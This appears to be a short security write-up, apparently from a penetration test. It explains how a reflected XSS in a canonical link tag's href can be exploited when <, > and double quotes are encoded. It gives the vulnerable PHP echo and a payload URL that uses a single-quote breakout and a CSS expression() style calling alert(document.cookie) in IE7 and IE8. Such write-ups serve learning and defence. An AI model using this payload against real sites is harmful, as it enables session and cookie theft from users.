Exploit XSS in <link rel=’canonical’> when characters < and > are filterred

In one of our customer’s website, the injection point is in <link rel=’canonical’ href=”> tag and it looks like something like

 <link rel=’cannoical’ href=’http://example.com/test.php?pid=<?php echo $_SERVER[‘QUERY_STRING’];>’>

The server will encode <, > and “, if you try http://example.com/test.php?pid=”<qss>, the response will be

<link rel="canonical" href='http://example.com/test.php?pid=&quot;&lt;qss&gt;' />

Under this case, using the following payload, you could exploit this XSS under IE7  and IE 8.

http://example.com/test.php?pid=’style=’x:expression(alert(document.cookie))’ t


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